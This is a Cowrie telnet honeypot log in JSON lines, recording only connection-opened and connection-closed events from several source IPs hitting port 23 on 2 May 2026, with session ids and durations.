{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":57066,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5f882c6f261","protocol":"telnet","message":"New connection: 199.231.212.75:57066 (10.17.0.5:23) [session: a5f882c6f261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:11.401677Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38236,"dst_ip":"159.203.135.109","dst_port":23,"session":"7096bce8567f","protocol":"telnet","message":"New connection: 174.138.46.234:38236 (159.203.135.109:23) [session: 7096bce8567f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:11.696483Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56790,"dst_ip":"10.17.0.5","dst_port":23,"session":"61ab4773f905","protocol":"telnet","message":"New connection: 164.68.122.45:56790 (10.17.0.5:23) [session: 61ab4773f905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:12.199476Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":57078,"dst_ip":"10.17.0.5","dst_port":23,"session":"97241ab841c7","protocol":"telnet","message":"New connection: 199.231.212.75:57078 (10.17.0.5:23) [session: 97241ab841c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:12.740474Z"}
{"eventid":"cowrie.session.closed","duration":31.60599160194397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:12.841189Z","src_ip":"199.231.212.75","session":"332ee9443062","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87563180923462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:14.236376Z","src_ip":"199.231.212.75","session":"987b63a5369e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":57092,"dst_ip":"10.17.0.5","dst_port":23,"session":"30c511e80b44","protocol":"telnet","message":"New connection: 199.231.212.75:57092 (10.17.0.5:23) [session: 30c511e80b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:14.631905Z"}
{"eventid":"cowrie.session.closed","duration":30.735109329223633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:15.168326Z","src_ip":"164.68.122.45","session":"85cb017cdd81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56821346282959,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:15.588372Z","src_ip":"86.120.107.100","session":"4e6040b75f8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":57104,"dst_ip":"10.17.0.5","dst_port":23,"session":"a89af6d62dab","protocol":"telnet","message":"New connection: 199.231.212.75:57104 (10.17.0.5:23) [session: a89af6d62dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:16.017455Z"}
{"eventid":"cowrie.session.closed","duration":30.94386124610901,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:16.081445Z","src_ip":"199.231.212.75","session":"fcf1c0fc547e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":33074,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b5dfd52f897","protocol":"telnet","message":"New connection: 86.120.107.100:33074 (10.17.0.5:23) [session: 7b5dfd52f897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:16.390085Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56804,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb70a23bb06","protocol":"telnet","message":"New connection: 164.68.122.45:56804 (10.17.0.5:23) [session: ceb70a23bb06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:16.467854Z"}
{"eventid":"cowrie.session.closed","duration":31.415311574935913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:16.576305Z","src_ip":"164.68.122.45","session":"3c0946d402cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.936437368392944,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:16.632777Z","src_ip":"174.138.46.234","session":"7096bce8567f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56808,"dst_ip":"10.17.0.5","dst_port":23,"session":"d98b1f858214","protocol":"telnet","message":"New connection: 164.68.122.45:56808 (10.17.0.5:23) [session: d98b1f858214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:17.956178Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56820,"dst_ip":"10.17.0.5","dst_port":23,"session":"04ddd7dd8662","protocol":"telnet","message":"New connection: 164.68.122.45:56820 (10.17.0.5:23) [session: 04ddd7dd8662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:18.059597Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56830,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f08ee2b621c","protocol":"telnet","message":"New connection: 164.68.122.45:56830 (10.17.0.5:23) [session: 0f08ee2b621c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:18.270204Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56834,"dst_ip":"10.17.0.5","dst_port":23,"session":"8327c4a15ccd","protocol":"telnet","message":"New connection: 164.68.122.45:56834 (10.17.0.5:23) [session: 8327c4a15ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:18.275294Z"}
{"eventid":"cowrie.session.closed","duration":31.077550172805786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:19.117143Z","src_ip":"164.68.122.45","session":"248dde1e4ef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.758479118347168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:19.130846Z","src_ip":"86.120.107.100","session":"f757b0ecb91e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.641440868377686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:19.996199Z","src_ip":"199.231.212.75","session":"4be70c682e3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":58592,"dst_ip":"10.17.0.5","dst_port":23,"session":"534dba9ef787","protocol":"telnet","message":"New connection: 199.231.212.75:58592 (10.17.0.5:23) [session: 534dba9ef787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:20.133216Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49628,"dst_ip":"10.17.0.5","dst_port":23,"session":"94c6c7b8adf8","protocol":"telnet","message":"New connection: 164.68.122.45:49628 (10.17.0.5:23) [session: 94c6c7b8adf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:20.391412Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41274,"dst_ip":"159.203.135.109","dst_port":23,"session":"04a6b695fbe2","protocol":"telnet","message":"New connection: 174.138.46.234:41274 (159.203.135.109:23) [session: 04a6b695fbe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:20.930830Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":33086,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa8992761f93","protocol":"telnet","message":"New connection: 86.120.107.100:33086 (10.17.0.5:23) [session: aa8992761f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:20.949885Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49642,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3fc7cbafe89","protocol":"telnet","message":"New connection: 164.68.122.45:49642 (10.17.0.5:23) [session: d3fc7cbafe89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:20.997162Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41416,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7844958c94f","protocol":"telnet","message":"New connection: 174.138.46.234:41416 (159.203.135.109:23) [session: c7844958c94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:21.352289Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41422,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5ce8a28c7b9","protocol":"telnet","message":"New connection: 174.138.46.234:41422 (159.203.135.109:23) [session: d5ce8a28c7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:21.389683Z"}
{"eventid":"cowrie.session.closed","duration":30.531288385391235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:21.488603Z","src_ip":"199.231.212.75","session":"d09662ca4e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49658,"dst_ip":"10.17.0.5","dst_port":23,"session":"4130dd27b1a8","protocol":"telnet","message":"New connection: 164.68.122.45:49658 (10.17.0.5:23) [session: 4130dd27b1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:21.649777Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49670,"dst_ip":"10.17.0.5","dst_port":23,"session":"248f04d35f9f","protocol":"telnet","message":"New connection: 164.68.122.45:49670 (10.17.0.5:23) [session: 248f04d35f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:21.743339Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":58604,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1dcf910f009","protocol":"telnet","message":"New connection: 199.231.212.75:58604 (10.17.0.5:23) [session: e1dcf910f009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:21.750742Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49676,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bb16acad315","protocol":"telnet","message":"New connection: 164.68.122.45:49676 (10.17.0.5:23) [session: 5bb16acad315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:21.783101Z"}
{"eventid":"cowrie.session.closed","duration":13.14853811264038,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:21.879493Z","src_ip":"103.100.17.154","session":"b1d5ffe93d0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49688,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a4fae5259d6","protocol":"telnet","message":"New connection: 164.68.122.45:49688 (10.17.0.5:23) [session: 6a4fae5259d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:22.358631Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":58620,"dst_ip":"10.17.0.5","dst_port":23,"session":"da8429b7bf73","protocol":"telnet","message":"New connection: 199.231.212.75:58620 (10.17.0.5:23) [session: da8429b7bf73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:22.523389Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49690,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdee5ad2582b","protocol":"telnet","message":"New connection: 164.68.122.45:49690 (10.17.0.5:23) [session: fdee5ad2582b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:22.706748Z"}
{"eventid":"cowrie.session.closed","duration":30.408424615859985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:23.045939Z","src_ip":"164.68.122.45","session":"bf60394a077c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74675464630127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:23.127779Z","src_ip":"86.120.107.100","session":"11bf826f0f48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49698,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e9a31e218a5","protocol":"telnet","message":"New connection: 164.68.122.45:49698 (10.17.0.5:23) [session: 2e9a31e218a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:23.333485Z"}
{"eventid":"cowrie.session.closed","duration":30.723769187927246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:23.512068Z","src_ip":"199.231.212.75","session":"4e1589849a97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03596019744873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:23.739759Z","src_ip":"199.231.212.75","session":"c168dfc3147f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":33088,"dst_ip":"10.17.0.5","dst_port":23,"session":"68ab7959e7d0","protocol":"telnet","message":"New connection: 86.120.107.100:33088 (10.17.0.5:23) [session: 68ab7959e7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:23.993696Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":33090,"dst_ip":"10.17.0.5","dst_port":23,"session":"a60f8f206322","protocol":"telnet","message":"New connection: 86.120.107.100:33090 (10.17.0.5:23) [session: a60f8f206322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:24.174924Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49704,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fa3a12d5e3d","protocol":"telnet","message":"New connection: 164.68.122.45:49704 (10.17.0.5:23) [session: 6fa3a12d5e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:24.312573Z"}
{"eventid":"cowrie.session.closed","duration":31.10234045982361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:24.594641Z","src_ip":"199.231.212.75","session":"84890bf24a88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49706,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e134ba3756","protocol":"telnet","message":"New connection: 164.68.122.45:49706 (10.17.0.5:23) [session: 08e134ba3756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:24.658857Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":58628,"dst_ip":"10.17.0.5","dst_port":23,"session":"177b373a86b8","protocol":"telnet","message":"New connection: 199.231.212.75:58628 (10.17.0.5:23) [session: 177b373a86b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:25.343359Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":58642,"dst_ip":"10.17.0.5","dst_port":23,"session":"b35994af017f","protocol":"telnet","message":"New connection: 199.231.212.75:58642 (10.17.0.5:23) [session: b35994af017f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:25.444114Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49712,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0b02fb3a5ec","protocol":"telnet","message":"New connection: 164.68.122.45:49712 (10.17.0.5:23) [session: f0b02fb3a5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:25.593109Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49718,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d1452a8848d","protocol":"telnet","message":"New connection: 164.68.122.45:49718 (10.17.0.5:23) [session: 9d1452a8848d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:25.693625Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49720,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eec7a5f4efb","protocol":"telnet","message":"New connection: 164.68.122.45:49720 (10.17.0.5:23) [session: 9eec7a5f4efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:26.115152Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49728,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fbee9f2fac2","protocol":"telnet","message":"New connection: 164.68.122.45:49728 (10.17.0.5:23) [session: 4fbee9f2fac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:26.135515Z"}
{"eventid":"cowrie.session.closed","duration":30.64805817604065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:26.196795Z","src_ip":"199.231.212.75","session":"598ea962ba98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.9917402267456055,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:26.922451Z","src_ip":"174.138.46.234","session":"04a6b695fbe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":58654,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b6d15c013b1","protocol":"telnet","message":"New connection: 199.231.212.75:58654 (10.17.0.5:23) [session: 8b6d15c013b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:27.194283Z"}
{"eventid":"cowrie.session.closed","duration":5.905400276184082,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:27.294967Z","src_ip":"174.138.46.234","session":"d5ce8a28c7b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49730,"dst_ip":"10.17.0.5","dst_port":23,"session":"32bbce5afb62","protocol":"telnet","message":"New connection: 164.68.122.45:49730 (10.17.0.5:23) [session: 32bbce5afb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:27.394569Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":38300,"dst_ip":"10.17.0.5","dst_port":23,"session":"633f7676738c","protocol":"telnet","message":"New connection: 86.120.107.100:38300 (10.17.0.5:23) [session: 633f7676738c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:27.407049Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49738,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d8c273517d0","protocol":"telnet","message":"New connection: 164.68.122.45:49738 (10.17.0.5:23) [session: 6d8c273517d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:27.497805Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49748,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f14779e02c8","protocol":"telnet","message":"New connection: 164.68.122.45:49748 (10.17.0.5:23) [session: 0f14779e02c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:27.645812Z"}
{"eventid":"cowrie.session.closed","duration":30.87948775291443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:27.678314Z","src_ip":"164.68.122.45","session":"347a5b9d5570","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43196129798889,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:27.738087Z","src_ip":"164.68.122.45","session":"f8fcc6ed75ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49760,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7210523db59","protocol":"telnet","message":"New connection: 164.68.122.45:49760 (10.17.0.5:23) [session: a7210523db59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:27.963087Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49772,"dst_ip":"10.17.0.5","dst_port":23,"session":"278ac3e667c9","protocol":"telnet","message":"New connection: 164.68.122.45:49772 (10.17.0.5:23) [session: 278ac3e667c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:28.151249Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":49782,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a34b4cb3aae","protocol":"telnet","message":"New connection: 164.68.122.45:49782 (10.17.0.5:23) [session: 8a34b4cb3aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:28.218074Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":38312,"dst_ip":"10.17.0.5","dst_port":23,"session":"17eecb3acd7c","protocol":"telnet","message":"New connection: 86.120.107.100:38312 (10.17.0.5:23) [session: 17eecb3acd7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:29.152530Z"}
{"eventid":"cowrie.session.closed","duration":31.195815563201904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:29.930484Z","src_ip":"199.231.212.75","session":"a6d4de2afe2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.621105432510376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:29.942145Z","src_ip":"164.68.122.45","session":"d12664e60f22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33774,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8aaa2dc370b","protocol":"telnet","message":"New connection: 164.68.122.45:33774 (10.17.0.5:23) [session: e8aaa2dc370b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:31.372041Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":38322,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3896efdbc9d","protocol":"telnet","message":"New connection: 86.120.107.100:38322 (10.17.0.5:23) [session: e3896efdbc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:31.598617Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33784,"dst_ip":"10.17.0.5","dst_port":23,"session":"f35b876c9022","protocol":"telnet","message":"New connection: 164.68.122.45:33784 (10.17.0.5:23) [session: f35b876c9022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:31.781182Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":37914,"dst_ip":"10.17.0.5","dst_port":23,"session":"8354d7b56b29","protocol":"telnet","message":"New connection: 199.231.212.75:37914 (10.17.0.5:23) [session: 8354d7b56b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:31.788415Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":37922,"dst_ip":"10.17.0.5","dst_port":23,"session":"058656734ceb","protocol":"telnet","message":"New connection: 199.231.212.75:37922 (10.17.0.5:23) [session: 058656734ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:32.536358Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":38324,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f6a3da8787e","protocol":"telnet","message":"New connection: 86.120.107.100:38324 (10.17.0.5:23) [session: 7f6a3da8787e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:33.033776Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33800,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b9ce1f8d75","protocol":"telnet","message":"New connection: 164.68.122.45:33800 (10.17.0.5:23) [session: 66b9ce1f8d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:33.129238Z"}
{"eventid":"cowrie.session.closed","duration":30.530447959899902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:33.294754Z","src_ip":"164.68.122.45","session":"45b81e3edea4","protocol":"telnet"}
